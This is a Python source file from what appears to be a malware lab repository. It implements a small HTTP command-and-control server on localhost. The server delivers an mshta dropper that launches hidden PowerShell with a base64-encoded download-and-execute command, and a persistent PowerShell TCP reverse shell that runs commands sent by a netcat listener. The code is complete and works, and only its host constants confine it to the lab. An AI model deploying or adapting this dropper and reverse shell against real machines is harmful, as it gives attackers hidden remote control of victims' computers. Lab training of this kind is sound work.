-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
109 lines (92 loc) · 3.67 KB
/
Copy pathserver.py
File metadata and controls
109 lines (92 loc) · 3.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
"""
server.py — minimal HTTP C2 stand-in for the windows_malware lab.
Serves two endpoints over plain HTTP on 127.0.0.1:8080:
/payload.bat — mshta dropper that re-launches PowerShell with -EncodedCommand
/reverse.ps1 — TCP reverse shell that connects back to 127.0.0.1:9001
Lab usage only. See README.md for the listener / dropper flow.
"""
import datetime
import http.server
import socketserver
import sys
HOST = "127.0.0.1"
PORT = 8080
LISTENER_HOST = "127.0.0.1"
LISTENER_PORT = 9001
# UTF-16LE base64 of:
# powershell -NoP -NonI -W Hidden -Exec Bypass -Command
# "IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/reverse.ps1')"
ENCODED_PAYLOAD = (
"cABvAHcAZQByAHMAaABlAGwAbAAgAC0ATgBvAFAAIAAtAE4AbwBuAEkAIAAtAFcAIABIAGkAZABk"
"AGUAbgAgAC0ARQB4AGUAYwAgAEIAeQBwAGEAcwBzACAALQBDAG8AbQBtAGEAbgBkACAAIgBJAEUA"
"WAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBE"
"AG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4A"
"MAAuADEAOgA4ADAAOAAwAC8AcgBlAHYAZQByAHMAZQAuAHAAcwAxACcAKQAiAA=="
)
PAYLOAD_BAT = (
'mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run '
f'""powershell -encodedCommand {ENCODED_PAYLOAD}"",0:close")'
).encode()
REVERSE_SHELL = f"""
# Reverse-shell client. Reconnects on drop; UTF-8 in both directions.
$cfg_host = '{LISTENER_HOST}'
$cfg_port = {LISTENER_PORT}
$enc = [System.Text.Encoding]::UTF8
while ($true) {{
try {{
$client = New-Object System.Net.Sockets.TCPClient($cfg_host, $cfg_port)
$stream = $client.GetStream()
$buf = New-Object byte[] 65535
while (($n = $stream.Read($buf, 0, $buf.Length)) -ne 0) {{
$cmd = $enc.GetString($buf, 0, $n)
try {{
$out = (& ([ScriptBlock]::Create($cmd)) 2>&1 | Out-String)
}} catch {{
$out = ($_ | Out-String)
}}
$prompt = "PS $((Get-Location).Path)> "
$bytes = $enc.GetBytes($out + $prompt)
$stream.Write($bytes, 0, $bytes.Length)
$stream.Flush()
}}
$client.Close()
}} catch {{
Start-Sleep -Seconds 5
}}
}}
""".encode()
class Handler(http.server.BaseHTTPRequestHandler):
def _ts(self):
return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
def log_message(self, fmt, *args):
sys.stdout.write(f"[{self._ts()}] {self.client_address[0]} {fmt % args}\n")
sys.stdout.flush()
def do_GET(self):
if self.path == "/payload.bat":
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.send_header("Content-Length", str(len(PAYLOAD_BAT)))
self.end_headers()
self.wfile.write(PAYLOAD_BAT)
elif self.path == "/reverse.ps1":
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.send_header("Content-Length", str(len(REVERSE_SHELL)))
self.end_headers()
self.wfile.write(REVERSE_SHELL)
else:
self.send_response(404)
self.end_headers()
def main():
with socketserver.TCPServer((HOST, PORT), Handler) as httpd:
print(f"[*] C2 stand-in listening on http://{HOST}:{PORT}")
print("[*] Endpoints: /payload.bat /reverse.ps1")
print(f"[*] Reverse shell will call back to {LISTENER_HOST}:{LISTENER_PORT}")
print("[*] Start your listener: nc -lvnp 9001")
print("[*] Ctrl-C to stop.\n")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] Shutting down.")
if __name__ == "__main__":
main()